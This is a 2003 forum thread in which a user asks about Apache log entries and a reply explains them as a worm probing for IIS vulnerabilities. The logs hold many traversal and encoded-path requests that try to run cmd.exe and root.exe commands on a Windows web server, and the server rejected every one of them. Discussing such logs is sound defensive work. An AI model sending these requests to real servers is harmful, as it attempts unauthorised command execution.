apache logs

Posted on 2003-10-24
Last Modified: 2010-03-04
i have the following in my apache logs ... waht does this mean ? - - [24/Oct/2003:17:18:47 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 214 - - [24/Oct/2003:17:18:47 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 212 - - [24/Oct/2003:17:18:47 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 222 - - [24/Oct/2003:17:18:47 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 222 - - [24/Oct/2003:17:18:47 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 236 - - [24/Oct/2003:17:18:47 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 253 - - [24/Oct/2003:17:18:47 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 253 - - [24/Oct/2003:17:18:47 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 269 - - [24/Oct/2003:17:18:47 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235 - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235 - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235 - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235 - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 226 - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 226 - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 236 - - [24/Oct/2003:17:18:48 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 236

thanks in advance
Question by:sanctify
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dorward earned 50 total points
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It means someone (or more likely someTHING [a worm]) is trying to exploit security holes in Microsoft's contribution to the webserver market.

Apache users don't need to worry about it, other then the slightly untity log files.

IIS users should switch to Apache (or install all the security patches).

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ok thanks .. its good to know im secure with apache

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